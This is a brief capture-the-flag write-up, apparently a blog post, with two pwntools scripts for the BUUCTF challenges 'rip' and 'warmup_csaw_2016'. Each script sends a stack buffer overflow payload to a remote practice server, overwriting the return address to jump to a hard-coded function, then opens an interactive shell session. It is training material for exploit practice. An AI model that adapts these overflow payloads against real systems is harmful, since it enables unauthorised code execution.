BUUCTF – PWN WriteUp

vstral 最后更新于 15 天前 0 次阅读预计阅读时间:

rip

from pwn import *
io = remote('node5.buuoj.cn',28846)
context.log_level = 'debug'

payload = b'a' * (0xF + 0x8) + p64(0x40118A)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

from pwn import *
io = remote('node5.buuoj.cn',28247)
context.log_level = 'debug'

io.recvuntil(b'>')
payload = b'a' * (0x40 + 0x8) + p64(0x40060d)
io.sendline(payload)
io.interactive()